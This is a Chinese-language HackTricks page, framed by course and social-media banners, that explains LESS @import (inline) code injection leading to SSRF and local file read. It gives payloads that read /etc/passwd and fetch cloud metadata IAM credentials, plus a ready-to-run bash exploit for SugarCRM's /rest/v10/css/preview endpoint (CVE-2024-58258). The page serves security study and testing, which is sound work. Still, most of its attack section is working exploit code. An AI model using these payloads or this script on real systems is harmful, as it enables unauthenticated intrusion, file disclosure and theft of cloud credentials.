LESS Code Injection leading to SSRF & Local File Read
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
LESS 是一种流行的 CSS 预处理器,添加了变量、mixins、functions 和强大的 @import 指令。在编译过程中,LESS 引擎会在使用 (inline) 选项时获取 @import 语句中引用的资源并将其内容嵌入(“inline”)到生成的 CSS 中。
当应用将用户控制的输入拼接到稍后被 LESS 编译器解析的字符串中时,攻击者可以注入任意 LESS 代码。通过滥用 @import (inline),攻击者可以强制服务器检索:
- 通过
file://协议读取本地文件(信息泄露 / Local File Inclusion)。 - 内部网络或云元数据服务上的远程资源(SSRF)。
这一技术已在真实产品中被发现,例如 SugarCRM ≤ 14.0.0(/rest/v10/css/preview endpoint)。
利用
- 确定一个直接嵌入到被 LESS 引擎处理的样式表字符串中的参数(例如 SugarCRM 中的
?lm=)。 - 结束当前语句并注入新的指令。最常见的基本语法为:
;– 终止之前的声明。}– 关闭之前的块(如有必要)。
- 使用
@import (inline) '<URL>';读取任意资源。 - 可选地在 import 之后注入一个 marker(
data:URI),以便从编译后的 CSS 中更容易提取获取到的内容。
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
/etc/passwd 的内容会出现在 HTTP 响应中,紧接在 @@END@@ 标记之前。
SSRF – 云元数据
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
自动化 PoC (SugarCRM 示例)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
真实世界案例
| 产品 | 易受攻击的端点 | 影响 |
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | 未经身份验证的 SSRF 和 本地文件读取 |
参考
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

